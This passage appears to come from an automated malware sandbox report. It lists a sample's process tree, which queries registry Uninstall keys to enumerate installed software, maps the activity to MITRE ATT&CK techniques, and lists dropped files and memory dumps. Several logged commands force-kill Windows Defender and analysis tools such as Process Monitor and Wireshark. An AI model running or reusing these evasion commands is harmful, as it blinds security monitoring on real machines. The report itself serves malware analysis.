C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
PID:2040

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:700

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1764

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:64
3⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:32
3⤵
PID:1492

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:1440

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:996

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
PID:1232

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:1808

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1836

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
PID:1908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:1400

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
PID:820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:1980

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1548

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:64
3⤵
PID:1584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:32
3⤵
PID:1664

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:1340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:1212

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1812

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:2040

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1596

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:420

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1116

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1112

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1504

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1528

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1484

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:2020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1348

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:1436

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:64
3⤵
PID:1292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:32
3⤵
PID:2040

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1372

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:64
3⤵
PID:1492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:32
3⤵
PID:832

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1440

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1116

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1808

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2000

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:1968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:1768

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2028

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:2020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1144

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:824

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1596

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1460

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1664

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1212

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1676

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:420

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1468

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1608

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1980

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1880

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1184

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:64
3⤵
PID:1672

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:32
3⤵
PID:1096

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1408

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
PID:1756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:1772

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:1588

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1924

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
PID:960

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:1484

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
PID:1416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:1348

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1592

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:64
3⤵
PID:1596

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:32
3⤵
PID:1436

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:1676

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
PID:1868

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1840

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:64
3⤵
PID:1640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:32
3⤵
PID:1608

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:1856

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:1612

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1672

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:1864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:1896

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1116

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:1796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:1232

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1764

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:1772

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:1916

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:2020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:1416

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:700

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:1340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:1436

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:64
3⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:32
3⤵
PID:1908

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:64
3⤵
PID:2036

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:32
3⤵
PID:328

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1516

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:64
3⤵
PID:1880

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:32
3⤵
PID:2012

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:1864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
PID:1008

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1832

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:1916

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
PID:1144

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:1436

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
PID:996

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1372

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1096

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1008

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1772

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:996

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:1372

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\FVKwo\Desktop.ini

Download Submit
C:\Users\Admin\FVKwo\WbZqr.class

Download Submit
\Users\Admin\AppData\Local\Temp\JUdukBZEHh1579220465889388539.xml

Download Submit
memory/324-79-0x0000000000000000-mapping.dmp

Download
memory/324-111-0x0000000000000000-mapping.dmp

Download
memory/324-65-0x0000000000000000-mapping.dmp

Download
memory/328-236-0x0000000000000000-mapping.dmp

Download
memory/328-40-0x0000000000000000-mapping.dmp

Download
memory/420-176-0x0000000000000000-mapping.dmp

Download
memory/420-141-0x0000000000000000-mapping.dmp

Download
memory/432-231-0x0000000000000000-mapping.dmp

Download
memory/432-70-0x0000000000000000-mapping.dmp

Download
memory/584-244-0x0000000000000000-mapping.dmp

Download
memory/604-36-0x0000000000000000-mapping.dmp

Download
memory/700-228-0x0000000000000000-mapping.dmp

Download
memory/700-113-0x0000000000000000-mapping.dmp

Download
memory/700-76-0x0000000000000000-mapping.dmp

Download
memory/792-182-0x0000000000000000-mapping.dmp

Download
memory/820-81-0x0000000000000000-mapping.dmp

Download
memory/820-125-0x0000000000000000-mapping.dmp

Download
memory/824-170-0x0000000000000000-mapping.dmp

Download
memory/824-6-0x0000000000000000-mapping.dmp

Download
memory/828-134-0x0000000000000000-mapping.dmp

Download
memory/832-94-0x0000000000000000-mapping.dmp

Download
memory/832-160-0x0000000000000000-mapping.dmp

Download
memory/832-247-0x0000000000000000-mapping.dmp

Download
memory/832-48-0x0000000000000000-mapping.dmp

Download
memory/888-46-0x0000000000000000-mapping.dmp

Download
memory/960-196-0x0000000000000000-mapping.dmp

Download
memory/980-23-0x0000000000000000-mapping.dmp

Download
memory/984-22-0x0000000000000000-mapping.dmp

Download
memory/984-38-0x0000000000000000-mapping.dmp

Download
memory/996-118-0x0000000000000000-mapping.dmp

Download
memory/996-249-0x0000000000000000-mapping.dmp

Download
memory/996-254-0x0000000000000000-mapping.dmp

Download
memory/1008-242-0x0000000000000000-mapping.dmp

Download
memory/1008-77-0x0000000000000000-mapping.dmp

Download
memory/1008-45-0x0000000000000000-mapping.dmp

Download
memory/1008-252-0x0000000000000000-mapping.dmp

Download
memory/1056-19-0x0000000000000000-mapping.dmp

Download
memory/1096-190-0x0000000000000000-mapping.dmp

Download
memory/1096-251-0x0000000000000000-mapping.dmp

Download
memory/1112-145-0x0000000000000000-mapping.dmp

Download
memory/1112-2-0x0000000000000000-mapping.dmp

Download
memory/1116-144-0x0000000000000000-mapping.dmp

Download
memory/1116-219-0x0000000000000000-mapping.dmp

Download
memory/1116-95-0x0000000000000000-mapping.dmp

Download
memory/1116-162-0x0000000000000000-mapping.dmp

Download
memory/1144-169-0x0000000000000000-mapping.dmp

Download
memory/1144-246-0x0000000000000000-mapping.dmp

Download
memory/1168-52-0x0000000000000000-mapping.dmp

Download
memory/1184-188-0x0000000000000000-mapping.dmp

Download
memory/1184-18-0x0000000000000000-mapping.dmp

Download
memory/1212-132-0x0000000000000000-mapping.dmp

Download
memory/1212-174-0x0000000000000000-mapping.dmp

Download
memory/1232-221-0x0000000000000000-mapping.dmp

Download
memory/1232-119-0x0000000000000000-mapping.dmp

Download
memory/1232-90-0x0000000000000000-mapping.dmp

Download
memory/1292-8-0x0000000000000000-mapping.dmp

Download
memory/1292-156-0x0000000000000000-mapping.dmp

Download
memory/1296-68-0x0000000000000000-mapping.dmp

Download
memory/1340-131-0x0000000000000000-mapping.dmp

Download
memory/1340-229-0x0000000000000000-mapping.dmp

Download
memory/1340-31-0x0000000000000000-mapping.dmp

Download
memory/1348-154-0x0000000000000000-mapping.dmp

Download
memory/1348-200-0x0000000000000000-mapping.dmp

Download
memory/1372-255-0x0000000000000000-mapping.dmp

Download
memory/1372-250-0x0000000000000000-mapping.dmp

Download
memory/1372-158-0x0000000000000000-mapping.dmp

Download
memory/1376-1-0x0000000000000000-mapping.dmp

Download
memory/1376-142-0x0000000000000000-mapping.dmp

Download
memory/1376-183-0x0000000000000000-mapping.dmp

Download
memory/1400-123-0x0000000000000000-mapping.dmp

Download
memory/1408-93-0x0000000000000000-mapping.dmp

Download
memory/1408-191-0x0000000000000000-mapping.dmp

Download
memory/1408-57-0x0000000000000000-mapping.dmp

Download
memory/1416-227-0x0000000000000000-mapping.dmp

Download
memory/1416-199-0x0000000000000000-mapping.dmp

Download
memory/1420-61-0x0000000000000000-mapping.dmp

Download
memory/1432-39-0x0000000000000000-mapping.dmp

Download
memory/1432-186-0x0000000000000000-mapping.dmp

Download
memory/1432-56-0x0000000000000000-mapping.dmp

Download
memory/1436-248-0x0000000000000000-mapping.dmp

Download
memory/1436-153-0x0000000000000000-mapping.dmp

Download
memory/1436-230-0x0000000000000000-mapping.dmp

Download
memory/1436-87-0x0000000000000000-mapping.dmp

Download
memory/1436-109-0x0000000000000000-mapping.dmp

Download
memory/1436-203-0x0000000000000000-mapping.dmp

Download
memory/1440-117-0x0000000000000000-mapping.dmp

Download
memory/1440-161-0x0000000000000000-mapping.dmp

Download
memory/1460-37-0x0000000000000000-mapping.dmp

Download
memory/1460-172-0x0000000000000000-mapping.dmp

Download
memory/1460-54-0x0000000000000000-mapping.dmp

Download
memory/1464-55-0x0000000000000000-mapping.dmp

Download
memory/1468-178-0x0000000000000000-mapping.dmp

Download
memory/1468-24-0x0000000000000000-mapping.dmp

Download
memory/1472-143-0x0000000000000000-mapping.dmp

Download
memory/1484-150-0x0000000000000000-mapping.dmp

Download
memory/1484-60-0x0000000000000000-mapping.dmp

Download
memory/1484-197-0x0000000000000000-mapping.dmp

Download
memory/1488-115-0x0000000000000000-mapping.dmp

Download
memory/1488-232-0x0000000000000000-mapping.dmp

Download
memory/1488-73-0x0000000000000000-mapping.dmp

Download
memory/1488-91-0x0000000000000000-mapping.dmp

Download
memory/1492-140-0x0000000000000000-mapping.dmp

Download
memory/1492-159-0x0000000000000000-mapping.dmp

Download
memory/1492-177-0x0000000000000000-mapping.dmp

Download
memory/1492-116-0x0000000000000000-mapping.dmp

Download
memory/1500-89-0x0000000000000000-mapping.dmp

Download
memory/1504-146-0x0000000000000000-mapping.dmp

Download
memory/1504-21-0x0000000000000000-mapping.dmp

Download
memory/1504-97-0x0000000000000000-mapping.dmp

Download
memory/1508-78-0x0000000000000000-mapping.dmp

Download
memory/1516-63-0x0000000000000000-mapping.dmp

Download
memory/1516-212-0x0000000000000000-mapping.dmp

Download
memory/1516-237-0x0000000000000000-mapping.dmp

Download
memory/1516-184-0x0000000000000000-mapping.dmp

Download
memory/1516-84-0x0000000000000000-mapping.dmp

Download
